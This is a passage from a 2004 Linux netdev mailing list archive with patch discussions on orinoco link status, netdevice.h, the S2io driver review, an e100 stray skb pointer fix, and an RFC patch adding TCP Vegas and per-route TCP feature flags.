Server) with ESMTP id KAA21637; Fri, 12 Mar 2004 10:53:56 -0800 (PST) Received: from jt by bougret.hpl.hp.com with local (Exim 3.35 #1 (Debian)) id 1B1rnA-0001XB-00; Fri, 12 Mar 2004 10:53:56 -0800 Date: Fri, 12 Mar 2004 10:53:56 -0800 To: Thomas Munck Steenholdt Cc: hermes@gibson.dropbear.id.au, netdev@oss.sgi.com, Jeff Garzik Subject: Re: [PATCH] 2.6.3 orinoco.c patch to support ethtool get_link Message-ID: <20040312185356.GA5591@bougret.hpl.hp.com> Reply-To: jt@hpl.hp.com References: <20040308185242.GA18367@bougret.hpl.hp.com> <404E4159.9040404@tmus.dk> <4052063F.9020107@tmus.dk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <4052063F.9020107@tmus.dk> User-Agent: Mutt/1.3.28i Organisation: HP Labs Palo Alto Address: HP Labs, 1U-17, 1501 Page Mill road, Palo Alto, CA 94304, USA. E-mail: jt@hpl.hp.com From: Jean Tourrilhes X-archive-position: 3963 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jt@bougret.hpl.hp.com Precedence: bulk X-list: netdev Content-Length: 1379 Lines: 41 On Fri, Mar 12, 2004 at 07:49:35PM +0100, Thomas Munck Steenholdt wrote: > Thomas Munck Steenholdt wrote: > >Jean Tourrilhes wrote: > > > >> I hope you realise that most often link status is meaningless > >>with Wireless cards. In Ad-Hoc mode, the link is always up, regardless > >>of the number of nodes in the cell, check the discussion on the HostAP > >>mailing list. And the Orinoco card will report connected even is WEP > >>is wrong. But, if you only use managed mode without WEP, that should > >>work. > >> I just wonder if it's better to report a 'link status' that > >>may be wrong/misleading or to not report anything at all. > > > > > >Actually, if the WEP key is wrong(i guess that's what you mean) the > >link is determined as down, like it should be! > > > >For the AdHoc mode, sure the link is always determined as up, but that > >is really the best way to do it given the nature of an Ad-Hoc network, > >right! > > > >The way I see it you'll gain from this patch whenever in managed mode. > >Most people (in my experience) is using managed mode and thus would > >benefit from this functionality! > > > >Thomas > > > > > > Please comment on this ? > > I feel it's a really good idea that would improve things for me a lot - > I'm sure I'm not the only one! > > Thomas You need to talk to the driver maintainers. They have some mailings lists. Jean From shemminger@osdl.org Fri Mar 12 11:24:54 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 12 Mar 2004 11:24:56 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2CJOsKO004204 for ; Fri, 12 Mar 2004 11:24:54 -0800 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i2CJOhE13843; Fri, 12 Mar 2004 11:24:43 -0800 Date: Fri, 12 Mar 2004 11:24:42 -0800 From: Stephen Hemminger To: "David S. Miller" Cc: netdev@oss.sgi.com Subject: [PATCH] make netdevice.h more non-kernel friendly Message-Id: <20040312112442.3ba028a9@dell_ss3.pdx.osdl.net> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.9claws (GTK+ 1.2.10; i386-redhat-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3964 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 663 Lines: 21 Discovered this trying to build iproute2 with 2.6.4. The netdevice.h drags in a lot of stuff that it doesn't need for the non-kernel interface. Just moving the ifdef up a little got rid of the issues. diff -Nru a/include/linux/netdevice.h b/include/linux/netdevice.h --- a/include/linux/netdevice.h Fri Mar 12 11:22:02 2004 +++ b/include/linux/netdevice.h Fri Mar 12 11:22:02 2004 @@ -29,11 +29,11 @@ #include #include +#ifdef __KERNEL__ #include #include #include -#ifdef __KERNEL__ #include #include #include From ravinandan.arakali@s2io.com Fri Mar 12 13:56:06 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 12 Mar 2004 13:56:19 -0800 (PST) Received: from ns1.s2io.com (ns1.s2io.com [216.209.86.101]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2CLu5KO011121 for ; Fri, 12 Mar 2004 13:56:06 -0800 Received: from guinness.s2io.com (gateway.s2io.com [216.209.86.98]) by ns1.s2io.com (8.12.10/8.12.10) with ESMTP id i2CLtOjF021548; Fri, 12 Mar 2004 16:55:24 -0500 (EST) Received: from DDXZYJ21 ([10.16.16.102]) by guinness.s2io.com (8.12.6/8.12.6) with ESMTP id i2CLtMUg029812; Fri, 12 Mar 2004 16:55:22 -0500 (EST) From: "ravinandan arakali" To: "'Jeff Garzik'" , "'Leonid Grossman'" Cc: , "'Stephen Hemminger'" , "'Christoph Hellwig'" , Subject: RE: Submission #3 for S2io 10GbE driver Date: Fri, 12 Mar 2004 13:55:37 -0800 Message-ID: <002f01c4087c$c1df99c0$6610100a@S2IOtech.com> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.3416 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 In-Reply-To: <4040F866.9040200@pobox.com> Importance: Normal X-Scanned-By: MIMEDefang 2.34 X-archive-position: 3965 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ravinandan.arakali@s2io.com Precedence: bulk X-list: netdev Content-Length: 754 Lines: 29 Hi Jeff, Regarding comment #15, we don't think locking is required, because we just reflect what ever the statistics block is reflecting at the current moment. Thanks, Ravi -----Original Message----- From: Jeff Garzik [mailto:jgarzik@pobox.com] Sent: Saturday, February 28, 2004 12:22 PM To: Leonid Grossman Cc: netdev@oss.sgi.com; 'Stephen Hemminger'; 'Christoph Hellwig'; 'ravinandan arakali'; raghavendra.koushik@s2io.com Subject: Re: Submission #3 for S2io 10GbE driver Looking a lot better. A few merge issues remain, and some operational ones as well. There are 39 issues in this review, but IMO they are mostly minor issues that don't require much thought or work. Comments: 15) does s2io_get_stats need locking? From scott.feldman@intel.com Fri Mar 12 15:17:22 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 12 Mar 2004 15:17:25 -0800 (PST) Received: from caduceus.fm.intel.com (fmr02.intel.com [192.55.52.25]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2CNHMKO012610 for ; Fri, 12 Mar 2004 15:17:22 -0800 Received: from talaria.fm.intel.com (talaria.fm.intel.com [10.1.192.39]) by caduceus.fm.intel.com (8.12.9-20030918-01/8.12.9/d: major-outer.mc,v 1.15 2004/01/30 18:16:28 root Exp $) with ESMTP id i2CNJOER009588; Fri, 12 Mar 2004 23:19:24 GMT Received: from fmsmsxvs042.fm.intel.com (fmsmsxvs042.fm.intel.com [132.233.42.128]) by talaria.fm.intel.com (8.12.9-20030918-01/8.12.9/d: major-inner.mc,v 1.10 2004/03/01 19:21:36 root Exp $) with SMTP id i2CNHa2x029137; Fri, 12 Mar 2004 23:17:44 GMT Received: from [134.134.3.164] ([134.134.3.164]) by fmsmsxvs042.fm.intel.com (SAVSMTP 3.1.2.35) with SMTP id M2004031215171112837 ; Fri, 12 Mar 2004 15:17:12 -0800 Date: Fri, 12 Mar 2004 15:52:24 -0800 (PST) From: "Feldman, Scott" X-X-Sender: scott.feldman@localhost.localdomain Reply-To: "Feldman, Scott" To: Jeff Garzik cc: netdev@oss.sgi.com, "Feldman, Scott" , Subject: [e100 2.6] fix stray skb pointer Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Scanned-By: MIMEDefang 2.31 (www . roaringpenguin . com / mimedefang) X-archive-position: 3966 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: scott.feldman@intel.com Precedence: bulk X-list: netdev Content-Length: 1091 Lines: 35 * Not setting cb->skb = NULL after releasing skb to OS or during initialization of cbs. Reported by Deepak Saxena [dsaxena@plexity.net]. ---------- --- linux-2.5/drivers/net/e100.c 2004-03-12 15:32:07.000000000 -0800 +++ linux-2.5/drivers/net/e100.c.mod 2004-03-12 15:32:31.000000000 -0800 @@ -158,7 +158,7 @@ #define DRV_NAME "e100" -#define DRV_VERSION "3.0.16" +#define DRV_VERSION "3.0.17" #define DRV_DESCRIPTION "Intel(R) PRO/100 Network Driver" #define DRV_COPYRIGHT "Copyright(c) 1999-2004 Intel Corporation" #define PFX DRV_NAME ": " @@ -1285,6 +1285,7 @@ static inline int e100_tx_clean(struct n le16_to_cpu(cb->u.tcb.tbd.size), PCI_DMA_TODEVICE); dev_kfree_skb_any(cb->skb); + cb->skb = NULL; tx_cleaned = 1; } cb->status = 0; @@ -1347,6 +1348,7 @@ static int e100_alloc_cbs(struct nic *ni cb->dma_addr = nic->cbs_dma_addr + i * sizeof(struct cb); cb->link = cpu_to_le32(nic->cbs_dma_addr + ((i+1) % count) * sizeof(struct cb)); + cb->skb = NULL; } nic->cb_to_use = nic->cb_to_send = nic->cb_to_clean = nic->cbs; From shemminger@osdl.org Fri Mar 12 15:17:45 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 12 Mar 2004 15:17:51 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2CNHiKO012655 for ; Fri, 12 Mar 2004 15:17:44 -0800 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i2CNHTE27991; Fri, 12 Mar 2004 15:17:29 -0800 Date: Fri, 12 Mar 2004 15:17:29 -0800 From: Stephen Hemminger To: "David S. Miller" Cc: netdev@oss.sgi.com, linux-net@vger.kernel.org Subject: [RFC] Vegas and tcp parameters per route Message-Id: <20040312151729.25d9c696@dell_ss3.pdx.osdl.net> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.9claws (GTK+ 1.2.10; i386-redhat-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3967 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 30645 Lines: 895 This is the second more complete version of TCP Vegas that allows setting the options based on route. Reused the RTAX_FEATURE metric which got defined but never used, to provide the ability to select vegas, westwood, and/or frto per route. There is an modified version of iproute2 available at http://developer.osdl.org/shemminger/tcp/iproute2-exp.tar.bz2 With this it is possible to setup options per route with ip. ip route add to 10.0.0.1 features vegas/frto This is intended for comment and testing, please don't put it into 2.6 yet. P.s: the netdevice.h change is to make building iproute2 less painful. diff -urNp -X dontdiff linux-2.6/include/linux/netdevice.h tcp-vegas-2.6/include/linux/netdevice.h --- linux-2.6/include/linux/netdevice.h 2004-03-12 14:22:19.000000000 -0800 +++ tcp-vegas-2.6/include/linux/netdevice.h 2004-03-12 14:36:07.000000000 -0800 @@ -29,11 +29,11 @@ #include #include +#ifdef __KERNEL__ #include #include #include -#ifdef __KERNEL__ #include #include #include diff -urNp -X dontdiff linux-2.6/include/linux/rtnetlink.h tcp-vegas-2.6/include/linux/rtnetlink.h --- linux-2.6/include/linux/rtnetlink.h 2004-01-23 09:39:20.000000000 -0800 +++ tcp-vegas-2.6/include/linux/rtnetlink.h 2004-03-12 09:54:06.000000000 -0800 @@ -294,9 +294,10 @@ enum #define RTAX_MAX RTAX_FEATURES -#define RTAX_FEATURE_ECN 0x00000001 -#define RTAX_FEATURE_SACK 0x00000002 -#define RTAX_FEATURE_TIMESTAMP 0x00000004 +#define RTAX_FEATURE_NOMETRIC 0x00000001 +#define RTAX_FEATURE_FRTO 0x00000002 +#define RTAX_FEATURE_VEGAS 0x00000004 +#define RTAX_FEATURE_WESTWOOD 0x00000008 struct rta_session { diff -urNp -X dontdiff linux-2.6/include/linux/sysctl.h tcp-vegas-2.6/include/linux/sysctl.h --- linux-2.6/include/linux/sysctl.h 2004-03-09 16:24:23.000000000 -0800 +++ tcp-vegas-2.6/include/linux/sysctl.h 2004-03-12 14:20:25.000000000 -0800 @@ -317,11 +317,12 @@ enum NET_IPV4_ICMP_RATELIMIT=89, NET_IPV4_ICMP_RATEMASK=90, NET_TCP_TW_REUSE=91, - NET_TCP_FRTO=92, - NET_TCP_LOW_LATENCY=93, - NET_IPV4_IPFRAG_SECRET_INTERVAL=94, - NET_TCP_WESTWOOD=95, - NET_IPV4_IGMP_MAX_MSF=96, + NET_TCP_LOW_LATENCY=92, + NET_IPV4_IPFRAG_SECRET_INTERVAL=93, + NET_IPV4_IGMP_MAX_MSF=94, + NET_TCP_VEGAS_ALPHA=95, + NET_TCP_VEGAS_BETA=96, + NET_TCP_VEGAS_GAMMA=97, }; enum { diff -urNp -X dontdiff linux-2.6/include/linux/tcp.h tcp-vegas-2.6/include/linux/tcp.h --- linux-2.6/include/linux/tcp.h 2004-02-05 14:44:29.000000000 -0800 +++ tcp-vegas-2.6/include/linux/tcp.h 2004-03-12 14:37:18.000000000 -0800 @@ -253,6 +253,8 @@ struct tcp_opt { __u16 ext2_header_len;/* Options depending on route */ __u8 ca_state; /* State of fast-retransmit machine */ __u8 retransmits; /* Number of unrecovered RTO timeouts. */ + __u8 frto_counter; /* Number of new acks after RTO */ + __u8 features; /* Feature (vegas, frto, ...) metric */ __u8 reordering; /* Packet reordering metric. */ __u8 queue_shrunk; /* Write queue has been shrunk recently.*/ @@ -370,7 +372,6 @@ struct tcp_opt { unsigned int keepalive_intvl; /* time interval between keep alive probes */ int linger2; - int frto_counter; /* Number of new acks after RTO */ __u32 frto_highmark; /* snd_nxt when RTO occurred */ unsigned long last_synq_overflow; @@ -388,6 +389,16 @@ struct tcp_opt { __u32 rtt; __u32 rtt_min; /* minimum observed RTT */ } westwood; +/* Vegas variables */ + struct { + __u32 beg_snd_nxt; /* right edge during last RTT */ + __u32 beg_snd_una; /* left edge during last RTT */ + __u32 beg_snd_cwnd; /* saves the size of the cwnd */ + __u8 doing_vegas_now;/* if true, do vegas for this RTT */ + __u16 cntRTT; /* # of RTTs measured within last RTT */ + __u32 minRTT; /* min of RTTs measured within last RTT (in usec) */ + __u32 baseRTT; /* the min of all Vegas RTT measurements seen (in usec) */ + } vegas; }; /* WARNING: don't change the layout of the members in tcp_sock! */ diff -urNp -X dontdiff linux-2.6/include/net/tcp.h tcp-vegas-2.6/include/net/tcp.h --- linux-2.6/include/net/tcp.h 2004-03-01 08:55:47.000000000 -0800 +++ tcp-vegas-2.6/include/net/tcp.h 2004-03-12 14:19:13.000000000 -0800 @@ -580,9 +580,10 @@ extern int sysctl_tcp_rmem[3]; extern int sysctl_tcp_app_win; extern int sysctl_tcp_adv_win_scale; extern int sysctl_tcp_tw_reuse; -extern int sysctl_tcp_frto; extern int sysctl_tcp_low_latency; -extern int sysctl_tcp_westwood; +extern int sysctl_tcp_vegas_alpha; +extern int sysctl_tcp_vegas_beta; +extern int sysctl_tcp_vegas_gamma; extern atomic_t tcp_memory_allocated; extern atomic_t tcp_sockets_allocated; @@ -1211,6 +1212,59 @@ static inline __u32 tcp_recalc_ssthresh( return max(tp->snd_cwnd >> 1U, 2U); } +/* Stop taking Vegas samples for now. */ +#define tcp_vegas_disable(__tp) ((__tp)->vegas.doing_vegas_now = 0) + +/* Is this TCP connection using Vegas (regardless of whether it is taking + * Vegas measurements at the current time)? + */ +#define tcp_is_vegas(__tp) ((__tp)->features & RTAX_FEATURE_VEGAS) + +static inline void tcp_vegas_enable(struct tcp_opt *tp) +{ + /* There are several situations when we must "re-start" Vegas: + * + * o when a connection is established + * o after an RTO + * o after fast recovery + * o when we send a packet and there is no outstanding + * unacknowledged data (restarting an idle connection) + * + * In these circumstances we cannot do a Vegas calculation at the + * end of the first RTT, because any calculation we do is using + * stale info -- both the saved cwnd and congestion feedback are + * stale. + * + * Instead we must wait until the completion of an RTT during + * which we actually receive ACKs. + */ + + /* Begin taking Vegas samples next time we send something. */ + tp->vegas.doing_vegas_now = 1; + + /* Set the beginning of the next send window. */ + tp->vegas.beg_snd_nxt = tp->snd_nxt; + + tp->vegas.cntRTT = 0; + tp->vegas.minRTT = 0x7fffffff; +} + +static inline void tcp_set_ca_state(struct tcp_opt *tp, u8 ca_state) +{ + if (tcp_is_vegas(tp)) { + if (ca_state == TCP_CA_Open) + tcp_vegas_enable(tp); + else + tcp_vegas_disable(tp); + } + tp->ca_state = ca_state; +} + +/* Should we be taking Vegas samples right now? */ +#define tcp_vegas_enabled(__tp) ((__tp)->vegas.doing_vegas_now) + +extern void tcp_vegas_init(struct tcp_opt *tp); + /* If cwnd > ssthresh, we may raise ssthresh to be half-way to cwnd. * The exception is rate halving phase, when cwnd is decreasing towards * ssthresh. @@ -1270,7 +1324,7 @@ static inline void tcp_enter_cwr(struct tp->prior_ssthresh = 0; if (tp->ca_state < TCP_CA_CWR) { __tcp_enter_cwr(tp); - tp->ca_state = TCP_CA_CWR; + tcp_set_ca_state(tp, TCP_CA_CWR); } } @@ -1974,6 +2028,8 @@ static inline void tcp_v4_setup_caps(str #define TCP_CHECK_TIMER(sk) do { } while (0) +#define tcp_is_frto(__tp) ((__tp)->features & RTAX_FEATURE_FRTO) + static inline int tcp_use_frto(const struct sock *sk) { const struct tcp_opt *tp = tcp_sk(sk); @@ -1982,7 +2038,7 @@ static inline int tcp_use_frto(const str * unsent new data, and the advertised window should allow * sending it. */ - return (sysctl_tcp_frto && tp->send_head && + return (tcp_is_frto(tp) && tp->send_head && !after(TCP_SKB_CB(tp->send_head)->end_seq, tp->snd_una + tp->snd_wnd)); } @@ -2028,9 +2084,11 @@ extern void tcp_proc_unregister(struct t #define TCP_WESTWOOD_INIT_RTT (20*HZ) /* maybe too conservative?! */ #define TCP_WESTWOOD_RTT_MIN (HZ/20) /* 50ms */ +#define tcp_is_westwood(__tp) ((__tp)->features & RTAX_FEATURE_WESTWOOD) + static inline void tcp_westwood_update_rtt(struct tcp_opt *tp, __u32 rtt_seq) { - if (sysctl_tcp_westwood) + if (tcp_is_westwood(tp)) tp->westwood.rtt = rtt_seq; } @@ -2039,13 +2097,13 @@ void __tcp_westwood_slow_bw(struct sock static inline void tcp_westwood_fast_bw(struct sock *sk, struct sk_buff *skb) { - if (sysctl_tcp_westwood) + if (tcp_is_westwood(tcp_sk(sk))) __tcp_westwood_fast_bw(sk, skb); } static inline void tcp_westwood_slow_bw(struct sock *sk, struct sk_buff *skb) { - if (sysctl_tcp_westwood) + if (tcp_is_westwood(tcp_sk(sk))) __tcp_westwood_slow_bw(sk, skb); } @@ -2058,14 +2116,14 @@ static inline __u32 __tcp_westwood_bw_rt static inline __u32 tcp_westwood_bw_rttmin(const struct tcp_opt *tp) { - return sysctl_tcp_westwood ? __tcp_westwood_bw_rttmin(tp) : 0; + return tcp_is_westwood(tp) ? __tcp_westwood_bw_rttmin(tp) : 0; } static inline int tcp_westwood_ssthresh(struct tcp_opt *tp) { __u32 ssthresh = 0; - if (sysctl_tcp_westwood) { + if (tcp_is_westwood(tp)) { ssthresh = __tcp_westwood_bw_rttmin(tp); if (ssthresh) tp->snd_ssthresh = ssthresh; @@ -2078,7 +2136,7 @@ static inline int tcp_westwood_cwnd(stru { __u32 cwnd = 0; - if (sysctl_tcp_westwood) { + if (tcp_is_westwood(tp)) { cwnd = __tcp_westwood_bw_rttmin(tp); if (cwnd) tp->snd_cwnd = cwnd; @@ -2086,4 +2144,5 @@ static inline int tcp_westwood_cwnd(stru return (cwnd != 0); } + #endif /* _TCP_H */ diff -urNp -X dontdiff linux-2.6/net/ipv4/sysctl_net_ipv4.c tcp-vegas-2.6/net/ipv4/sysctl_net_ipv4.c --- linux-2.6/net/ipv4/sysctl_net_ipv4.c 2004-03-08 08:32:59.000000000 -0800 +++ tcp-vegas-2.6/net/ipv4/sysctl_net_ipv4.c 2004-03-12 14:20:50.000000000 -0800 @@ -569,14 +569,6 @@ ctl_table ipv4_table[] = { .proc_handler = &proc_dointvec }, { - .ctl_name = NET_TCP_FRTO, - .procname = "tcp_frto", - .data = &sysctl_tcp_frto, - .maxlen = sizeof(int), - .mode = 0644, - .proc_handler = &proc_dointvec - }, - { .ctl_name = NET_TCP_LOW_LATENCY, .procname = "tcp_low_latency", .data = &sysctl_tcp_low_latency, @@ -594,9 +586,25 @@ ctl_table ipv4_table[] = { .strategy = &sysctl_jiffies }, { - .ctl_name = NET_TCP_WESTWOOD, - .procname = "tcp_westwood", - .data = &sysctl_tcp_westwood, + .ctl_name = NET_TCP_VEGAS_ALPHA, + .procname = "tcp_vegas_alpha", + .data = &sysctl_tcp_vegas_alpha, + .maxlen = sizeof(int), + .mode = 0644, + .proc_handler = &proc_dointvec, + }, + { + .ctl_name = NET_TCP_VEGAS_BETA, + .procname = "tcp_vegas_beta", + .data = &sysctl_tcp_vegas_beta, + .maxlen = sizeof(int), + .mode = 0644, + .proc_handler = &proc_dointvec, + }, + { + .ctl_name = NET_TCP_VEGAS_GAMMA, + .procname = "tcp_vegas_gamma", + .data = &sysctl_tcp_vegas_gamma, .maxlen = sizeof(int), .mode = 0644, .proc_handler = &proc_dointvec, diff -urNp -X dontdiff linux-2.6/net/ipv4/tcp.c tcp-vegas-2.6/net/ipv4/tcp.c --- linux-2.6/net/ipv4/tcp.c 2004-03-02 08:59:43.000000000 -0800 +++ tcp-vegas-2.6/net/ipv4/tcp.c 2004-03-09 16:37:21.000000000 -0800 @@ -2158,7 +2158,7 @@ int tcp_disconnect(struct sock *sk, int tp->packets_out = 0; tp->snd_ssthresh = 0x7fffffff; tp->snd_cwnd_cnt = 0; - tp->ca_state = TCP_CA_Open; + tcp_set_ca_state(tp, TCP_CA_Open); tcp_clear_retrans(tp); tcp_delack_init(tp); tp->send_head = NULL; diff -urNp -X dontdiff linux-2.6/net/ipv4/tcp_input.c tcp-vegas-2.6/net/ipv4/tcp_input.c --- linux-2.6/net/ipv4/tcp_input.c 2004-02-05 14:44:30.000000000 -0800 +++ tcp-vegas-2.6/net/ipv4/tcp_input.c 2004-03-12 14:25:47.000000000 -0800 @@ -89,8 +89,14 @@ int sysctl_tcp_adv_win_scale = 2; int sysctl_tcp_stdurg; int sysctl_tcp_rfc1337; int sysctl_tcp_max_orphans = NR_FILE; -int sysctl_tcp_frto; -int sysctl_tcp_westwood; + +/* Default values of the Vegas variables, in fixed-point representation + * with V_PARAM_SHIFT bits to the right of the binary point. + */ +#define V_PARAM_SHIFT 1 +int sysctl_tcp_vegas_alpha = 1<vegas.baseRTT = 0x7fffffff; + tcp_vegas_enable(tp); + } else + tcp_vegas_disable(tp); +} + +/* Do RTT sampling needed for Vegas. + * Basically we: + * o min-filter RTT samples from within an RTT to get the current + * propagation delay + queuing delay (we are min-filtering to try to + * avoid the effects of delayed ACKs) + * o min-filter RTT samples from a much longer window (forever for now) + * to find the propagation delay (baseRTT) + */ +static inline void vegas_rtt_calc(struct tcp_opt *tp, __u32 rtt) +{ + __u32 vrtt = rtt + 1; /* Never allow zero rtt or baseRTT */ + + /* Filter to find propagation delay: */ + if (vrtt < tp->vegas.baseRTT) + tp->vegas.baseRTT = vrtt; + + /* Find the min RTT during the last RTT to find + * the current prop. delay + queuing delay: + */ + tp->vegas.minRTT = min(tp->vegas.minRTT, vrtt); + tp->vegas.cntRTT++; +} + /* Called to compute a smoothed rtt estimate. The data fed to this * routine either comes from timestamps, or from segments that were * known _not_ to have been retransmitted [see Karn/Partridge @@ -420,6 +461,9 @@ static void tcp_rtt_estimator(struct tcp { long m = mrtt; /* RTT */ + if (tcp_vegas_enabled(tp)) + vegas_rtt_calc(tp, mrtt); + /* The following amusing code comes from Jacobson's * article in SIGCOMM '88. Note that rtt and mdev * are scaled versions of rtt and mean deviation. @@ -537,6 +581,10 @@ void tcp_update_metrics(struct sock *sk) return; } + /* don't want to store metrics */ + if (tp->features & RTAX_FEATURE_NOMETRIC) + return; + m = dst_metric(dst, RTAX_RTT) - tp->srtt; /* If newly calculated rtt larger than stored one, @@ -629,6 +677,12 @@ static void tcp_init_metrics(struct sock dst_confirm(dst); + tp->features = dst_metric(dst, RTAX_FEATURES); + if (tp->features & RTAX_FEATURE_NOMETRIC) { + printk(KERN_DEBUG "skipping initial metric setup\n"); + goto reset; + } + if (dst_metric_locked(dst, RTAX_CWND)) tp->snd_cwnd_clamp = dst_metric(dst, RTAX_CWND); if (dst_metric(dst, RTAX_SSTHRESH)) { @@ -1003,7 +1057,7 @@ void tcp_enter_frto(struct sock *sk) } tcp_sync_left_out(tp); - tp->ca_state = TCP_CA_Open; + tcp_set_ca_state(tp, TCP_CA_Open); tp->frto_highmark = tp->snd_nxt; } @@ -1049,7 +1103,7 @@ void tcp_enter_frto_loss(struct sock *sk tp->reordering = min_t(unsigned int, tp->reordering, sysctl_tcp_reordering); - tp->ca_state = TCP_CA_Loss; + tcp_set_ca_state(tp, TCP_CA_Loss); tp->high_seq = tp->frto_highmark; TCP_ECN_queue_cwr(tp); } @@ -1112,7 +1166,7 @@ void tcp_enter_loss(struct sock *sk, int tp->reordering = min_t(unsigned int, tp->reordering, sysctl_tcp_reordering); - tp->ca_state = TCP_CA_Loss; + tcp_set_ca_state(tp, TCP_CA_Loss); tp->high_seq = tp->snd_nxt; TCP_ECN_queue_cwr(tp); } @@ -1489,7 +1543,7 @@ static int tcp_try_undo_recovery(struct tcp_moderate_cwnd(tp); return 1; } - tp->ca_state = TCP_CA_Open; + tcp_set_ca_state(tp, TCP_CA_Open); return 0; } @@ -1549,7 +1603,7 @@ static int tcp_try_undo_loss(struct sock tp->retransmits = 0; tp->undo_marker = 0; if (!IsReno(tp)) - tp->ca_state = TCP_CA_Open; + tcp_set_ca_state(tp, TCP_CA_Open); return 1; } return 0; @@ -1583,7 +1637,7 @@ static void tcp_try_to_open(struct sock state = TCP_CA_Disorder; if (tp->ca_state != state) { - tp->ca_state = state; + tcp_set_ca_state(tp, state); tp->high_seq = tp->snd_nxt; } tcp_moderate_cwnd(tp); @@ -1642,7 +1696,7 @@ tcp_fastretrans_alert(struct sock *sk, u /* E. Check state exit conditions. State can be terminated * when high_seq is ACKed. */ if (tp->ca_state == TCP_CA_Open) { - if (!sysctl_tcp_frto) + if (!tcp_is_frto(tp)) BUG_TRAP(tp->retrans_out == 0); tp->retrans_stamp = 0; } else if (!before(tp->snd_una, tp->high_seq)) { @@ -1658,7 +1712,7 @@ tcp_fastretrans_alert(struct sock *sk, u * is ACKed for CWR bit to reach receiver. */ if (tp->snd_una != tp->high_seq) { tcp_complete_cwr(tp); - tp->ca_state = TCP_CA_Open; + tcp_set_ca_state(tp, TCP_CA_Open); } break; @@ -1669,7 +1723,7 @@ tcp_fastretrans_alert(struct sock *sk, u * catching for all duplicate ACKs. */ IsReno(tp) || tp->snd_una != tp->high_seq) { tp->undo_marker = 0; - tp->ca_state = TCP_CA_Open; + tcp_set_ca_state(tp, TCP_CA_Open); } break; @@ -1743,7 +1797,7 @@ tcp_fastretrans_alert(struct sock *sk, u } tp->snd_cwnd_cnt = 0; - tp->ca_state = TCP_CA_Recovery; + tcp_set_ca_state(tp, TCP_CA_Recovery); } if (is_dupack || tcp_head_timedout(sk, tp)) @@ -1814,7 +1868,7 @@ tcp_ack_update_rtt(struct tcp_opt *tp, i /* This is Jacobson's slow start and congestion avoidance. * SIGCOMM '88, p. 328. */ -static __inline__ void tcp_cong_avoid(struct tcp_opt *tp) +static __inline__ void reno_cong_avoid(struct tcp_opt *tp) { if (tp->snd_cwnd <= tp->snd_ssthresh) { /* In "safe" area, increase. */ @@ -1834,6 +1888,236 @@ static __inline__ void tcp_cong_avoid(st tp->snd_cwnd_stamp = tcp_time_stamp; } +/* This is based on the congestion detection/avoidance scheme described in + * Lawrence S. Brakmo and Larry L. Peterson. + * "TCP Vegas: End to end congestion avoidance on a global internet." + * IEEE Journal on Selected Areas in Communication, 13(8):1465--1480, + * October 1995. Available from: + * ftp://ftp.cs.arizona.edu/xkernel/Papers/jsac.ps + * + * See http://www.cs.arizona.edu/xkernel/ for their implementation. + * The main aspects that distinguish this implementation from the + * Arizona Vegas implementation are: + * o We do not change the loss detection or recovery mechanisms of + * Linux in any way. Linux already recovers from losses quite well, + * using fine-grained timers, NewReno, and FACK. + * o To avoid the performance penalty imposed by increasing cwnd + * only every-other RTT during slow start, we increase during + * every RTT during slow start, just like Reno. + * o Largely to allow continuous cwnd growth during slow start, + * we use the rate at which ACKs come back as the "actual" + * rate, rather than the rate at which data is sent. + * o To speed convergence to the right rate, we set the cwnd + * to achieve the right ("actual") rate when we exit slow start. + * o To filter out the noise caused by delayed ACKs, we use the + * minimum RTT sample observed during the last RTT to calculate + * the actual rate. + * o When the sender re-starts from idle, it waits until it has + * received ACKs for an entire flight of new data before making + * a cwnd adjustment decision. The original Vegas implementation + * 